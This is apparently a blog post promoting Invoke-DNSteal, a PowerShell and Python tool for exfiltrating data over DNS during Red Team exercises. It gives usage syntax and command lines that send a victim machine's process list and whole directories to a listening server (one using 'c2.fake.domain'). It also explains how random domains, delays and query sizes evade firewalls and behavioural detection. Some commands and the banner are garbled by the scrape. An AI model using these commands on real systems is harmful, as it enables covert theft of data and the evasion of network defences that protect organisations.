Invoke-DNSteal : Simple And Customizable DNS Data Exfiltrator

Invoke-DNSteal is a Simple & Customizable DNS Data Exfiltrator.

This tool helps you to exfiltrate data through DNS protocol over UDP and TCP, and lets you control the size of queries using random delay. Also, allows you to avoid detections by using random domains in each of your queries and you can use it to transfer information both locally and remotely.


  • Powershell 4.0 or higher
  • Python 2


It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone


.\Invoke-DNSteal.ps1 -h
_ _ _ _ _ _
|_ | _ _ _ | | _ _ | _ | \ | / || |_ _ _ | | | || ‘_ \ \ / / _ | |/ / _ __| | | | | ___ | / _ \/ ‘ | | | || | | \ V / () | < /| || | |\ |) | || / (| | |
||| ||_/ ___/||___| |/|| _|_/ __|__,||

————————— by @JoelGMSec ————————–

Info: This tool helps you to exfiltrate data through DNS protocol
and lets you control the size of queries using random delay
Usage: .\Invoke-DNSteal.ps1 -t target -p payload -l lenght
-s server -tcponly true/false -min 3000 -max 5000
· Target: Domain target to exfiltrate data
· Payload: Payload to send over DNS chunks
· Lenght: Lenght of payload to control data size
· Server: Custom server to resolve DNS queries
· TcpOnly: Set TcpOnly to true or false
· Delay Min: Min delay time to do a query in ms
· Delay Max: Max delay time to do a query in ms
· Random: Use random domain name to avoid detection

Warning: The lenght (payload size) must be between 4 and 240
The process time will increase depending on data size

The detailed guide of use can be found at the following link:

This week I come back (again) with another project in hand. It is a small and light tool called Invoke-DNSteal , which will allow us to exfiltrate information through the DNS protocol. Thanks to its simplicity, we will practically not need dependencies to use it and we will be able to receive information on both Windows and Linux.

As we could see in previous posts, one of the most common problems that every pentester usually suffers at some point during the Red Team audit or exercise, is communication abroad from a compromised host.

If you have not read how to exfiltrate information with DNSCat2 from scratch , I recommend that you do it before starting this post. In addition, the domain configuration will be identical in both cases, so you will necessarily need to carry out these steps if you want to exfiltrate information through the internet.

As you surely know, there are all kinds of tools for this purpose. After all, I have not invented this concept (nor have I come to reinvent the wheel). At the time we already talked about Mysticism in this post , which not only allows us to exfiltrate information, but also allows us to redirect ports or receive a reverse shell through this and many other protocols.

Another tool that I use a lot and that usually works quite well, is DNSExfiltrator since it allows us to encrypt the information on the fly and is quite complete in terms of customization. Without a doubt, a tool that should not be missing in your arsenal if you want to exfiltrate through DNS.

Now, if there are already very good tools for this purpose (obviously, I am not going to list them all), what is the point of making one more? Well simply, as much as I have tried, there are things that I have not been able to do with these tools .

This all started during a Red Team exercise , in which I was about to exfiltrate information through DNS as usual. So far everything is correct: Windows environment, my domain configured in Cloudflare and Kali waiting to receive the information. But once I got down to it, I ran into a lot of problems.

First of all, it could only use type A records . Second, the queries could not exceed a certain size (if not, the firewall on duty was blocking the queries for me ). And as if all this were not enough, when I sent a certain amount of queries correctly, they ended up blocking me again for behavior.

At this point, I decided to make a short list of everything I needed to be able to create a tool that met all my needs:

• Make it as lightweight and compatible as possible
• Preferably use native system functions
• DNS support in both UDP and TCP
• Customizable query length to control total size
• Random timeouts to avoid behavior detections
• Possible techniques evasion using random elements
• Sequence and extension control in exfiltrated files
• Ability to exfiltrate an entire directory in an unattended way

Once the requirements were clear, I got to work with Invoke-DNSteal .

The tool in question is made up of two components : The client part and the server part. The first, – as expected – is done in PowerShell and the second in Python2 (yes, you read that right, Python2.

Due to lack of time (mainly), I already had part of the code made in this language and making a port to Python3 was an effort that I could not assume. For this reason, I prioritized functionality, despite using an obsolete language for more than a year.

In both cases, neither party requires any type of additional dependency (apart from the interpreter), since no use is made of any library created by third parties. In the client part, we will need Windows 8 or higher and in the server part, nothing more than Python2 installed or in its portable version, both in Windows and Linux.

Here is the project page on GitHub for more information:

Now that we know Invoke-DNSteal a little better , let’s check if it works .

First, we will clone the repository as usual:

git clone https://githu

Once downloaded, we will find the two parts mentioned above. The first thing we will do is consult the help syntax using the -h parameter :

As can be seen in the previous image, the use of the server part is completely trivial. The only thing that we will have to do to put the server to listen is to introduce our IP (or all, with and the protocol that we want to use with -udp or -tcp .

If we do the same with the client part, the resulting usage syntax is much more complex, as shown below:

Although the help is quite complete, we are going to review each of the parameters that we can use in the client:

-t / Target *Domain to use: Following the format
-p / Payload *Data to be exfiltered: As a string , as an object within a variable or by means of $ pwd \ file_name.ext
-l / LengthLength of the payload within the DNS query. By default, the payload length is 24 characters
-s / ServerServer that will resolve DNS queries, it can be local or external. If not indicated, the default server will be used
-tcponlyIf true is indicated after the parameter, TCP will be used to perform DNS queries. Otherwise, UDP will be used
-minMinimum delay in milliseconds between queries
-maxMaximum delay in milliseconds between queries. The values ​​between min and max will be used randomly
-randomUse random domains in each of the queries, regardless of the domain entered as target

The parameters indicated with * are mandatory, the rest are completely optional. In order to better understand the use of the tool, we are going to consider the most common examples in the following use cases.

The first thing we will do in any case is to put the server to listen in the following way:


From here, we can receive any type of information (be it a string, a PowerShell object or a file with its corresponding extension) without having to do anything else on the server side.

In my case, I have used it on my Kali, but we could do it on a Windows machine using Portable Python or any other solution.

Now, we are going to do a little test sending a string over the internet. Remember that for this you will need a correctly configured domain and an address (in my case a NAT) to the machine where the server is running.

I always do this type of test to verify that the environment is operational and working properly. To do this, we will execute the following command on the client side:

. \ Invoke-DNSteal.ps1 -t

If everything has worked correctly, we should see something similar to the previous image. Similarly, we should see the same thing on the server side, along with a message that tells us that the file has been saved correctly in a .txt file

One of the things we can do to check the above is to use a debug function that is not included in the help. To carry it out, we would execute the following command in the terminal:

. \ Invoke-DNSteal.ps1 -d payload

As can be seen in the previous image, the payload corresponds perfectly to the data sent, so in this way, we know for sure that the communication has not been altered along the way.

In the following use case, we are going to exfiltrate the processes that are running on the victim machine using a PowerShell variable as payload . To add a little more complexity, we will use Cloudflare’s DNS server with a 1 second wait between requests, with a length of 32 bytes per query via TCP:

Data = Get-Process | Out-String; . \ Invoke-DNSteal.ps1 -t -p $ data -l 32 -s -tcponly true -min 10

An interesting fact is that, in the first line of the client, the following information will always appear:

• Amount of data (effective) sent in Bytes / KB / MB / GB
• Amount of queries (chunks) that will be sent in total
• Protocol on which the information will be sent
• Exact date and time when transmission begins

It is important to highlight that the actual data is not the total data , since at the end of the server we will always receive the queries with the following format:

Sequence number + payload (with defined length) +

Therefore, we must add the extra bytes of the queries to our payloads (we can always see this on the server side).

Additionally, a start query and an end query will always be sent, with the names start and end respectively. In these sequences, the extension will be sent, in order to save some bytes in the rest of the queries.

Once the time necessary to receive the previous file has elapsed, we should receive something similar to the following image:

Now that we are clear about the most basic functionalities of the tool, let’s see the most complex use example of all .

Suppose we have compromised two computers in a Windows environment (for example, an Active Directory network). From machine A we can get to machine B and vice versa, but machine B has no internet connection and we want to exfiltrate a complete directory to machine A, which does have internet access.

In both cases, we only have non-privileged users, therefore, both the sending and receiving processes will be carried out in processes of medium integrity. The only essential requirement is that there is a rule in the system’s firewall that allows the connection to the server.

In addition, we know that there is a new generation firewall between the two, which could frustrate our plans by blocking any of the domains that we want to use (this would also be applicable if the output went directly to the internet).

This casuistry, a priori, would be a big problem for any expert in the field. But, thanks to the low-level DNS server implementation (kudos to @ 3v4si0n for the fantastic TCP implementation) this won’t be a problem.

Basically, our server will always respond whatever the destination server is. That is, if we ask for , our server will receive the query and return the IP on which it is running.

In this way, if we use a totally random domain in each of the queries, no domain blocking system will affect us at all. Even if they block each of the domains used, the probability that the exact same chain will be repeated is extremely low.

Therefore, the only way to block this communication would be by blocking DNS traffic between these machines, or by blocking IP communication at source or destination. Obviously, depending on the environment and the compromised machines, this would be totally unfeasible, giving us free passage to our file transfer with Invoke-DNSteal .

As a picture is worth a thousand words, let’s see it in practice. The first thing we will do is download any version of Python for Windows (portable or installable, at the user’s preference) and we will put the server to listen in UDP mode.

Next, we will execute the following command in the client part:

(ls) .name | % {. \ Invoke-DNSteal.ps1 -t c2.fake.domain -p $ pwd \ $ _ -l 24 -s destination_ip -tcp false -min 0 -max 0 -random

his will send each of the files in the directory, with its corresponding extension through random queries at maximum speed. If we wanted to further increase the transmission capacity, we could increase the length of the payload up to 240 characters.

It is very important to bear in mind that the maximum capacity of type A queries in the DNS protocol cannot in any case exceed 255 bytes , so exceeding this limit could potentially corrupt data transmission. It is recommended not to use values ​​greater than 200 when determining the desired domain length.

If everything has worked as it should (if there is an error in the queries, they will not appear on the client), we should observe how we receive the data on the server side:

And finally, we should see the received files as shown below:

From here, you can combine each and every one of the possibilities offered by the tool (control the bytes received, use random times and domains, etc.) in order to evade any solution capable of blocking this type of traffic .

Furthermore, it is possible to use the tool to transfer files in any scenario (for example in Hack The Box ) regardless of whether there is an Internet connection or not.

As a final conclusion, this tool is still in beta and you may find some bugs in very specific scenarios. If you find any, do not hesitate to contact me to solve it as soon as possible .